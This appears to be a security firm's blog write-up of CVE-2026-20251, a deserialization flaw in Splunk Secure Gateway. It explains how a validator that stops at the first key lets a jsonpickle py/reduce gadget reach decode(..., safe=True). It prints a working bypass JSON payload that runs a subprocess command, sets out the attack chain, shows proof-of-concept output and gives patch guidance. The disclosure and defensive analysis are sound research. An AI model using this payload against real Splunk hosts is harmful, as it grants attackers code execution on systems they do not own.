CVE-2026-20251: How a Validator Short-Circuit Turns Splunk's KV Store into an RCE Gateway

ReactiveZero delivers advanced penetration testing, red teaming, threat hunting, and digital forensics — led by OSCP, CEH, and CHFI-certified experts. We help organizations neutralize threats across IT, OT, IoT, and cloud environments.
A deep dive into the jsonpickle deserialization chain in Splunk Secure Gateway 3.9.19 — and why safe=True isn't.
Tags: Security, CVE, Python, Splunk, Vulnerability Research
During a white-box vulnerability verification engagement on a local Splunk Enterprise 10.0.6 research instance, I confirmed the reachability of CVE-2026-20251 — an unsafe deserialization bug in the Splunk Secure Gateway (SSG) app that allows any low-privileged authenticated user to achieve remote code execution on the Splunk host.
CVSS score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
The PoC and engagement report are on GitHub: reactivezero/CVE-2026-20251
Background
Splunk Secure Gateway is a companion app that lets mobile clients interact with Splunk alerts. It reads alert documents from the App Key Value Store (mobile_alerts collection) and reconstructs them into Python objects using jsonpickle.
The problem is that jsonpickle is a serialization library designed for trusted data. When it encounters tags like py/reduce, py/function, or py/object in a JSON document, it doesn't just parse data — it instantiates classes and calls functions. Feeding it attacker-controlled input is essentially the Python equivalent of calling pickle.loads() on untrusted bytes.
The Vulnerable Sink
In bin/spacebridgeapp/request/alerts_request_processor.py, SSG reads an alert document from the KV Store and decodes it:
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)
Two defences are supposed to stand between the attacker and that jsonpickle.decode() call:
A validator —
check_alert_data_valid_json()The
safe=Trueflag ondecode()
Both fail.
Why safe=True Doesn't Help
The safe=True parameter in jsonpickle only gates the py/repr tag — the legacy path that called eval() on a Python repr string. It has no effect on:
py/reduce→ calls_restore_reduce()→ executesstage1 = f(*args)py/object→ instantiates arbitrary classes vialoadclass()py/function,py/type,py/module
With no classes= allowlist passed to decode(), any importable Python class or callable is fair game. The flag is a narrow guard on one old code path — not a general safety switch.
The Validator Short-Circuit
check_alert_data_valid_json() (in alert_helper.py) is supposed to reject dangerous jsonpickle tags. The logic iterates over the top-level keys of the document:
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
return value.isinstance(int)
elif key == "py/object":
return value.startswith("spacebridgeapp") # returns immediately
else:
return False
# ... recurse into nested values
The bug: the function returns on the very first py-prefixed key it encounters. If that key is a permitted py/object whose value starts with spacebridgeapp, the function returns True without ever looking at the remaining keys in the document.
Python dicts preserve insertion order (since 3.7), and the attacker controls the JSON document they write to the KV Store. So the bypass is trivial:
{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["id"]]}
]
}
}
The validator sees py/object first — value starts with spacebridgeapp — returns True. The notification sibling carrying the py/reduce gadget is never examined.
The Full Attack Chain
Step 0 Low-privilege attacker authenticates to Splunk (no admin role needed)
and writes the bypass document to the 'mobile_alerts' KV Store
collection via the Splunk REST API.
Step 1 SSG processes an alert fetch for that alert_id.
check_alert_data_valid_json() short-circuits on the
"py/object": "spacebridgeapp..." lure key and returns True.
Step 2 The document reaches jsonpickle.decode(..., safe=True).
jsonpickle loads Alert (importable within Splunk), instantiates it,
then iterates its stored attributes via
_restore_object_instance_variables(). When it hits the
"notification" value, _restore_tags() routes to _restore_reduce():
stage1 = f(*args) # jsonpickle/unpickler.py ~line 526
The attacker-specified callable fires with attacker-specified args.
Outcome Code execution as the Splunk service account.
Requires only a valid low-privilege Splunk login.
Proof of Concept
The PoC (poc_cve_2026_20251.py) demonstrates both conditions separately, using a deliberately benign payload (subprocess.check_output(['uname', '-a'])):
Sub-proof A — validator bypass: Feeds the bypass document to the verbatim shipped check_alert_data_valid_json() function and confirms it returns True.
Sub-proof B — py/reduce execution: Feeds the raw gadget document directly to jsonpickle.decode(..., safe=True) and confirms the callable fires — proving safe=True has no effect on this code path.
Together they confirm the full chain without running a weaponised exploit against Splunk.
$ python3 poc_cve_2026_20251.py -h 127.0.0.1
======================================================================
CVE-2026-20251 PoC -- local research instance only
======================================================================
[*] Target host : 127.0.0.1
[*] jsonpickle : 3.0.2
----------------------------------------------------------------------
SUB-PROOF A -- Validator bypass
----------------------------------------------------------------------
[*] Running through check_alert_data_valid_json() ...
Validator returned : True
[BYPASS CONFIRMED]
----------------------------------------------------------------------
SUB-PROOF B -- py/reduce gadget execution (benign: uname -a)
----------------------------------------------------------------------
[EXEC] subprocess.check_output output: Darwin Macbook.local 25.3.0 ...
[GADGET CONFIRMED]
py/reduce fired through jsonpickle.decode(..., safe=True).
A Note on CVE-2026-20253
The same advisory batch includes CVE-2026-20253 (CVSS 9.8) — unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint. That one was not present on the test instance: the macOS x86_64 build of Splunk Enterprise 10.0.6 simply doesn't ship the PostgreSQL sidecar component. No binaries, no process, no listening port.
This matters: an affected version string is a necessary but not sufficient condition for exploitability. Always verify at the component level before assigning real risk.
Remediation
Patch: Upgrade Splunk Secure Gateway to 3.9.20+, 3.10.6+, or 3.8.67+. Upgrade Splunk Enterprise to 10.0.7+ / 10.2.4+ / 10.4.0+.
Short-term workarounds (if patching is delayed):
Disable the Splunk Secure Gateway app if it is not actively used
Restrict KV Store write access — enforce least-privilege roles and review ACLs on the
mobile_alertscollection
Defensive engineering pattern: Never pass externally-influenced stored data into jsonpickle.decode() (or any deserialization primitive that reconstructs arbitrary types). Replace it with a strict schema-validated parser, or at minimum supply an explicit classes= allowlist to decode(). And make sure validation routines fully traverse nested structures — a short-circuit on the first recognised key is exactly the kind of logic error that turns a validator into a rubber stamp.
Fady Oueslati · ReactiveZero Security Research · June 2026 GitHub: reactivezero/CVE-2026-20251

